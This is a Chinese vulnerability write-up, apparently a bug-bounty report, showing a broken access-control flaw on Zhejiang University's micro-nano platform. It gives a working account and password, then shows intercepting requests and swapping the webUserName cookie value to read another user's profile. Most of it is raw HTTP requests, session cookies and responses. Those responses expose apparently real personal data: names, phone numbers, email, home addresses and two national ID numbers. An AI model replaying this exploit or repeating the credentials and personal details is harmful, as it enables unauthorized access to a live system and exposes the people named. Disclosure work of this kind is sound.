

浙江大学微纳公共平台存在逻辑缺陷，可越权访问其他用户敏感信息

URL: <https://nano.intl.zju.edu.cn/login.aspx>

202103120201 / 123456

登录后在个人中心可查看个人信息

欢迎您! 王笑喜
上次登录: 2023/4/10 13:53:18

审核状态: 未审核
导师姓名: 候业利
注销

个人信息 修改密码

注意: 您的注册信息还在等待管理员审核, 现在还不能预约设备。请打印并填写以下表格后, 点击这里下载《微纳公共平台用户申请表》

个人信息

姓名* 王笑喜

性别* 男

邮箱* 3520689613@qq.com

手机* 15353687244

联系地址 湖南浏阳

证件类型 身份证

证件号码 430181200311062656

单位机构* 浙江大学

用户类型* 校内

导师姓名* 候业利

用户身份* 导师

仪器预约使用协议

仪器预约使用协议

开启 bp 拦截，刷新页面，修改 webUserName（用户名）参数，可越权查看其他用户个人敏感信息

这里将 202103120201 改为 202103120202

Raw 参数 头 Hex

GET /admin-userinfo.aspx?ClassID=49 HTTP/1.1

Host: nano.intl.zju.edu.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: https://nano.intl.zju.edu.cn/default.aspx

Connection: close

Cookie:

FS85ade201027=080b38ba42ab200041083d93d923e8091f5a0b5b2b93487e25e369cae5008ae7f7d2bb04441c620872e05ace113000446454561818a3b5e8969224d707f4dd9502647fb1d9384131ec9e74566b07a4dd366f5a47553faeb8532e63504d00; ASP.NET_SessionId=lc1grcb45mbml1h1ow34540x;

FS010c92a7=019bb4269f31bcbcc5b798a11568f33ad3002d910018d2ed3b077213db5580bce2880385abde35a944e3780bc86a8ea9af92d50c5a2049a468244479a282f98b4064a3077aa306b9b5203e0773a8436811b2aa7226aa33f791c527d714f12395698; webUserName=str_key=202103120201; webUserPass=str_key=123456

Jpgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Raw 头 Hex HTML Render

<div class="info_box_item">

联系地址

<input type="text" id="address" value="湖南浏阳">

</div>

<div class="info_box_item">

证件类型

<select name="" id="zjtype">

<option value="身份证" selected>身份证</option>

<option value="学工号">学工号</option>

</select>

</div>

<div class="info_box_item">

证件号码

<input type="text" id="numcode" value="430181200311062656">

</div>

<div class="info_box_item">

单位机构

<input type="text" id="jigou" value="浙江大学">

</div>

<div class="info_box_item">

用户类型

<select name="" id="peotype">

<option value="校内" selected>校内</option>

<option value="校外">校外</option>

</select>

</div>

<div class="info_box_item">

Raw参数头Hex

GET /admin-userinfo.aspx?ClassID=49 HTTP/1.1
Host: nano.intl.zju.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://nano.intl.zju.edu.cn/default.aspx
Connection: close
Cookie:
TS95ade201027=090139ba42ab2000410934934923e9091f5a0b5b2b93497e25e369cae5008ae7ff42bb04441c620872e05ace113000446454f61818a3b5e8969224d7074dd9502647b1d9384131ec9e74586b07a4dd366f5a47553ffaeb85a2e63504400; ASP.NET_SessionId=lc1grcb45mbmlf1h1ow34540x;
TS010c92a7=019bb4269b1bcbbcb5b798a11568f63ad3002d910018d2ed3b077213db5690bce2880385abde35a944a
a7801c86a9e9a9f246ce5a20d3a16b824d4170a282c78bhd06cbe39e77aa30649b5203a0773a8436811b2aa7226aa33d791c527d714f12395898; webUserName=str_key=202103120202; webUserPass=str_key=123456
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Raw头HexHTMLRender

<div class="info_box_item">
联系地址
<input type="text" id="address" value="山东莘县">
</div>
<div class="info_box_item">
证件类型
<select name="" id="zjtype">

<option value="身份证">身份证</option>
<option value="学工号">学工号</option>
</select>
</div>
<div class="info_box_item">
证件号码
<input type="text" id="numcode" value="371522200407154746">
</div>
<div class="info_box_item">
单位机构*
<input type="text" id="jigou" value="浙江大学">
</div>
<div class="info_box_item">
用户类型*
<select name="" id="peotype">
<option value="校内">校内</option>
</select>
</div>

成功越权